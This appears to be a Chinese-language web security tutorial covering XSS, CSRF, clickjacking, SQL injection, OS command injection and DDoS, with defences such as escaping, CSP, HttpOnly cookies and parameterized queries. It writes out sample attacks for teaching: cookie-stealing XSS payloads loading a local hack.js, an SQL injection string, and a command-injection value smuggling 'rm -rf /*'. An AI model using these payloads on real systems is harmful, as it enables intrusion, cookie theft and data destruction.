web网络安全

XSS

Cross Site Scripting

跨站脚本攻击

XSS(Cross-Site-Scripting),跨脚本攻击，因为缩写和CSS重叠，所以只能叫XSS。跨脚本攻击是指通过存在安全漏洞的web网站注册用户的浏览器内运行非法站点HTML标签或JavaScript进行的一种攻击。

跨脚本攻击有可能造成以下影响:

- 利用虚假输入表单骗取用户个人信息
- 利用脚本窃取用户的cookie值，被害者在不知情的情况下，帮助攻击者发送恶意请求
- 显示伪造的文章或图片

XSS攻击分类

- 反射型-url参数直接注入

```
// 普通
http://localhost:3000/?from=china
// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名伪造 https://dwz.cn/
// 伪造cookie入侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIj
oxNTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
```

- 存储型-存储到DB后读取时注入

```
// 评论
<script>alert(1)</script>
// 跨站脚本注入
我来了<script src="http://localhost:4000/hack.js"></script>
```

XSS攻击的危害-scripting能干啥就能干啥

- 获取页面数据
- 获取cookies
- 劫持前端逻辑
- 发送请求
- 偷取网站的任意数据
- 偷取用户的资料
- 偷取用户的秘密和登录态
- 欺骗用户

防范手段

ejs转义小知识

```
<% code %>用于执行其中javascript代码；
<%= code %>会对code进行html转义；
<%- code %>将不会进行转义
```

- HEAD

```
ctx.set('X-XSS-Protection', 0) // 禁止XSS过滤
// http://localhost:3000/?from=<script>alert(3)</script> 可以拦截 但伪装一下就不行了
```

  - 0禁止xss过滤
  - 1启用xss过滤（通常浏览器是默认的）。如果检测到跨站脚本攻击，浏览器将清除页面(删除不安全的部分)
  - 1；mode=block启用xss过滤。如果检测到攻击，浏览器将不会清除页面，而是阻止页面加载
  - 1;report=（Chromium only）

    启动XSS过滤。如果检测到跨站脚本攻击，浏览器将清除页面并使用CSP report-uri（https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy/report-uri）指令的功能发送违规报告

- CSP

  内容安全策略（CSP,Conent Sercurity Policy）是一个附加的安全层，用户帮助检测和缓解某些类型的攻击，包含跨站脚本（XSS）和数据注入等攻击。这些攻击可用于实现从数据窃取到网站破或作为恶意软件发布版本等用途

  CSP本质上就是建立白名单，开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则，如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少xss攻击。

```
// 只允许加载本站资源
Content-Security-Policy: default-src 'self'
// 只允许加载 HTTPS 协议图片
Content-Security-Policy: img-src https://*
// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'
ctx.set('Content-Security-Policy', "default-src 'self'")
// 尝试一下外部资源不能加载
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>
```

- 转义字符
  - 黑名单

  用户的输入永远不可信任的，最普遍的做法是转义输入输出的内容，对于引号、尖括号、斜杠进行转义

```
function escape(str) {
  str = str.replace(/&/g, '&amp;')
  str = str.replace(/</g, '&lt;')
  str = str.replace(/>/g, '&gt;')
  str = str.replace(/"/g, '&quto;')
  str = str.replace(/'/g, '&#39;')
  str = str.replace(/`/g, '&#96;')
  str = str.replace(/\//g, '&#x2F;')
  return str
}
```

富文本来说，显然不能通过上面的方法转义所有字符，因为这样会把需要的格式也过滤掉。对于这种情况，通常采用白名单过滤的方法。当然也可以通过黑名单过滤，但是考虑到需要过滤的标签和标签属性是在太多，更加推荐使用白名单的方式

- 白名单

```
const xss = require('xss')
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
// -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt;
console.log(html)
```

- HttpOnly Cookie

  这是预防XXS攻击窃取用户cookie最有效的防御手段，web应用程序在设置cookie时，将其属性设为HttpOnly，就可以避免该网页的cookie被客户端恶意Javascript窃取，保护用户cookie信息。

```
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
```

CSRF

CSRF(Cross Site Request Forgery),即跨站请求伪造，即是一种常见的web攻击，它利用用户已登录的身份，在用户毫不知情的情况下，以用户的名义完成非法操作。

- 用户已经登陆了站点A，并在本地记录了cookie
- 在用户没有登出站点A的情况下（也就是cookie生效的情况下),访问了恶意攻击者提供的引诱危险站点B（B站点要求访问站点A）
- 站点A没有做任何CSRF防御

```
登录  http://localhost:4000/csrf.html
```

CSRF攻击危害

- 利用用户登录态
- 用户不知情
- 完成业务请求
- 盗取用户资金（转账，消费）
- 冒充用户发帖背锅
- 损害网站声誉

防御

- 金智妮第三方网站带cookie-有兼容性问题

- Referer Check -Https不发送referer

```
app.use(async (ctx, next) => {
  await next()
const referer = ctx.request.header.referer
  console.log('Referer:', referer)
})
```

- 验证码

点击劫持-clickjacking

点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过iframe嵌套的方式嵌入自己的网页中，并将iframe设置为透明，在页面中透出一个按钮诱导用户点击。

```
// 登录
http://localhost:4000/clickjacking.html
```

防御

- X-FRAME-OPTIONS

  X-FRAME-OPTIONS是一个Http响应头，在现代浏览器有一个很好地支持。这个HTTP响应头就是为了防御用iframe嵌套的点击劫持攻击

  该响应头有三个值可选，分别是

  - DENY,表示页面不允许通过iframe的方式展示
  - SAMEORIGIN,表示页面可以在相同域名下通过iframe的方式展示
  - ALLOW-FROM,表示页面可以在指定来源的iframe中展示

  ```
  ctx.set('X-FRAME-OPTIONS', 'DENY')
  ```

- js方式

```
<head>
 <style id="click-jack">
  html {
   display: none !important;
 }
 </style>
</head>
<body>
 <script>
  if (self == top) {
   var style = document.getElementById('click-jack')
   document.body.removeChild(style)
 } else {
   top.location = self.location
 }
 </script>
</body
```

以上代码的作用就是当通过iframe的方式加载页面时，攻击者的网页直接不显示所有内容了

SQL注入

```
// 填入特殊密码
1'or'1'='1
// 拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'
```

防御

- 所有的查询语句建议使用数据库提供的参数化查询接口**，参数化的语句使用参数而不是将用户输入变量嵌入到sql语句中，既不要直接拼接sql语句。例如node.js中的Mysqljs库的query方法中的?占位参数

```
// 错误写法
const sql = `
  SELECT *
  FROM test.user
  WHERE username = '${ctx.request.body.username}'
  AND password = '${ctx.request.body.password}'
  `
  console.log('sql', sql)
  res = await query(sql)
// 正确的写法
const sql = `
SELECT *
FROM test.user
WHERE username = ?
AND password = ?
`
console.log('sql', sql, )
res = await query(sql,[ctx.request.body.username,
ctx.request.body.password])
```

- 严格限制web应该的数据库的操作权限**，给此用户提供仅仅能够满足其工作的最低权限，从而最大限度的减少注入攻击对数据库的危害
- 后端代码检查输入的数据是否符合预期**,严格限制变量的类型，例如使用正则表达式进行一些匹配处理。
- 对进行数据库的特殊字符(',",\,<,>,&,*,;等)进行转义处理，或编码转换**。基本上所有的后端语言都有对字符串进行转义处理的方法，比如lodash的lodash._escapehtmlchar库。

os命令注入

os命令注入和sql注入差不多，只不过sql注入是针对数据库，而os命令注入是针对操作系统的。os命名注入攻击指通过web应用，执行非法的操作系统命令达到攻击的目的。只要在能调用shell函数的地方就存在被攻击的风险。倘若调用shell时存在疏漏，就可以执行插入的非法命令。

```
// 以 Node.js 为例，假如在接口中需要从 github 下载用户指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* 用户输入的参数 */};
exec(`git clone ${params.repo} /some/path`);
```

如果传入的参数实际怎么样

```
https://github.com/xx/xx.git && rm -rf /* &&
```

请求劫持

DNS劫持

DNS服务器（DNS解析各个步骤）被篡改，修改了域名解析的结果，使得访问到的不是预期的ip

HTTP劫持

运营商劫持，此时大概只能升级HTTPS

DDOS

http://www.ruanyifeng.com/blog/2018/06/ddos.html 阮一峰

distributed denial of service

DDOS不是一种攻击，而是一大类攻击的总称。它有几十种类型，新的攻击方法还在不断发明出来。网站运行的各个环节，都可以是攻击目标。只要把一个环节攻破，使得整个流程跑不起来，就达到了瘫痪服务的目的

常见攻击方式

- SYN Flood

  此攻击通过向目标发送具有欺骗性源IP地址的大量TCP“初始连接请求”SYN数据包来利用TCP握手。目标机器 响应每个连接请求，然后等待握手中的最后一步，这一步从未发生过，耗尽了进程中的目标资源。

- HTTP Flood

  此攻击类似于同时在多个不同计算机上反复按Web浏览器中的刷新 - 大量HTTP请求泛滥服务器，导致拒绝服 务。

防御手段

```
- 备份网站
备份网站不一定是全功能的，如果能做到全静态浏览，就能满足需求。最低限度应该可以显示公告，告诉用户，网
站出了问题，正在全力抢修。
- HTTP 请求的拦截 高防IP -靠谱的运营商 多个 Docker
硬件 服务器 防火墙
- 带宽扩容 + CDN
提高犯罪成本
```